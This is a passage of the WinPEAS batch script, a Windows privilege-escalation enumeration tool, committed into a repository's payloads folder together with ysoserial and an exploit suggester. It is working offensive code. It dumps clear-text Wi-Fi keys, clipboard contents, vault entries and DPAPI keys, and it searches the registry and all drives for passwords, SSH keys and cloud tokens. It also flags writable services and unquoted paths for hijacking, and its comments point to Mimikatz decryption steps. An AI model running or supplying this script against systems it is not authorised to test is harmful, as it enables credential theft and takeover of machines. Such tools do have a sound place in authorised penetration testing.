ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
CALL :T_Progress 2
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
CALL :T_Progress 2
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
|
||||
CALL :T_Progress 2
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:NetworkShares
|
||||
CALL :ColorLine "%E%32m[*]%E%97m NETWORK"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES"
|
||||
net share
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkInterfaces
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INTERFACES"
|
||||
ipconfig /all
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkUsedPorts
|
||||
CALL :ColorLine " %E%33m[+]%E%97m USED PORTS"
|
||||
ECHO. [i] Check for services restricted from the outside
|
||||
netstat -ano | findstr /i listen
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkFirewall
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FIREWALL"
|
||||
netsh firewall show state
|
||||
netsh firewall show config
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ARP
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ARP"
|
||||
arp -A
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:NetworkRoutes
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ROUTES"
|
||||
route print
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsHostsFile
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Hosts file"
|
||||
type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
|
||||
CALL :T_Progress 1
|
||||
|
||||
:DNSCache
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE"
|
||||
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WifiCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WIFI"
|
||||
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
net user %USERNAME% /domain 2>nul
|
||||
whoami /all
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:BasicUserInfoUsers
|
||||
CALL :ColorLine " %E%33m[+]%E%97m USERS"
|
||||
net user
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoGroups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m GROUPS"
|
||||
net localgroup
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoAdminGroups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS"
|
||||
REM seems to be localised
|
||||
net localgroup Administrators 2>nul
|
||||
net localgroup Administradores 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:BasicUserInfoLoggedUser
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS"
|
||||
quser
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:KerberosTickets
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets"
|
||||
klist
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CurrentClipboard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||
ECHO. [i] Any passwords inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:ServiceVulnerabilities
|
||||
CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES"
|
||||
:::sysinternals external tool
|
||||
::ECHO.
|
||||
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER"
|
||||
::ECHO. [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
|
||||
::ECHO. [i] If accesschk.exe is not in PATH, nothing will be found here
|
||||
::ECHO. [i] AUTHETICATED USERS
|
||||
::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
|
||||
::ECHO. [i] EVERYONE
|
||||
::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
|
||||
::ECHO. [i] BUILTIN\Users
|
||||
::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||||
::ECHO. [i] TODOS
|
||||
::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
|
||||
::ECHO. [i] %USERNAME%
|
||||
::accesschk.exe -uwcqv %username% * /accepteula 2>nul
|
||||
::ECHO.
|
||||
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *"
|
||||
::ECHO. [i] Check for weird service permissions for unexpected groups"
|
||||
::accesschk.exe -uwcqv * /accepteula 2>nul
|
||||
CALL :T_Progress 1
|
||||
ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do (
|
||||
for /f "tokens=1 delims= " %%b in ("%%a") do (
|
||||
set "svcpath=%%b"
|
||||
set "svcpath=!svcpath:~1,-1!"
|
||||
if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:UnquotedServicePaths
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
|
||||
ECHO.
|
||||
::CALL :T_Progress 1
|
||||
|
||||
:PATHenvHijacking
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsCredentials
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
dir /b/a %appdata%\Microsoft\Credentials\ 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.
|
||||
ECHO.Looking inside %localappdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.
|
||||
|
||||
:UnattendedFiles
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Unattended files"
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists.
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists.
|
||||
IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists.
|
||||
IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:SAMSYSBackups
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups"
|
||||
IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists.
|
||||
IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:McAffeeSitelist
|
||||
CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml"
|
||||
cd %ProgramFiles% 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd %ProgramFiles(x86)% 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd "%windir%\..\Documents and Settings" 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
cd %windir%\..\Users 2>nul
|
||||
dir /s SiteList.xml 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:GPPPassword
|
||||
CALL :ColorLine " %E%33m[+]%E%97m GPP Password"
|
||||
cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
|
||||
cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:CloudCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials"
|
||||
cd "%SystemDrive%\Users"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
|
||||
cd "%windir%\..\Documents and Settings"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
|
||||
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\TightVNC\Server
|
||||
reg query HKCU\Software\TightVNC\Server 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
|
||||
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
|
||||
CALL :T_Progress 2
|
||||
ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys
|
||||
CALL :T_Progress 2
|
||||
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
|
||||
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
|
||||
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
|
||||
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
|
||||
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ExtendedDriveScan
|
||||
if "%long%" == "true" (
|
||||
CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd"
|
||||
reg query HKLM /f passw /t REG_SZ /s
|
||||
reg query HKCU /f passw /t REG_SZ /s
|
||||
reg query HKLM /f pwd /t REG_SZ /s
|
||||
reg query HKCU /f pwd /t REG_SZ /s
|
||||
ECHO.
|
||||
ECHO. [i] Iterating through the drives
|
||||
ECHO.
|
||||
where wmic >nul 2>&1
|
||||
if !errorlevel! equ 0 (
|
||||
for /f %%x in ('wmic logicaldisk get name') do (
|
||||
set tdrive=%%x
|
||||
if "!tdrive:~1,2!" == ":" (
|
||||
%%x
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do (
|
||||
%%x:
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
) ELSE (
|
||||
CALL :T_Progress 2
|
||||
)
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle
|
||||
ECHO.---
|
||||
ECHO.Scan complete.
|
||||
PAUSE >NUL
|
||||
EXIT /B
|
||||
|
||||
:::-Subroutines
|
||||
|
||||
:SetOnce
|
||||
REM :: ANSI escape character is set once below - for ColorLine Subroutine
|
||||
for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
|
||||
SET "E=%ESC%["
|
||||
SET "PercentageTrack=0"
|
||||
EXIT /B
|
||||
|
||||
:T_Progress
|
||||
SET "Percentage=%~1"
|
||||
SET /A "PercentageTrack=PercentageTrack+Percentage"
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%
|
||||
EXIT /B
|
||||
|
||||
:ColorLine
|
||||
SET "CurrentLine=%~1"
|
||||
ECHO.!CurrentLine!
|
||||
EXIT /B
|
||||
BIN
payloads/windows/winPEAS.exe
Normal file
BIN
payloads/windows/winPEAS.exe
Normal file
Binary file not shown.
BIN
payloads/windows/winPEASx64.exe
Normal file
BIN
payloads/windows/winPEASx64.exe
Normal file
Binary file not shown.
1640
payloads/windows/windows-exploit-suggester.py
Normal file
1640
payloads/windows/windows-exploit-suggester.py
Normal file
File diff suppressed because it is too large
Load Diff
BIN
payloads/windows/ysoserial/NDesk.Options.dll
Normal file
BIN
payloads/windows/ysoserial/NDesk.Options.dll
Normal file
Binary file not shown.
BIN
payloads/windows/ysoserial/ysoserial.exe
Normal file
BIN
payloads/windows/ysoserial/ysoserial.exe
Normal file
Binary file not shown.
Reference in New Issue
Block a user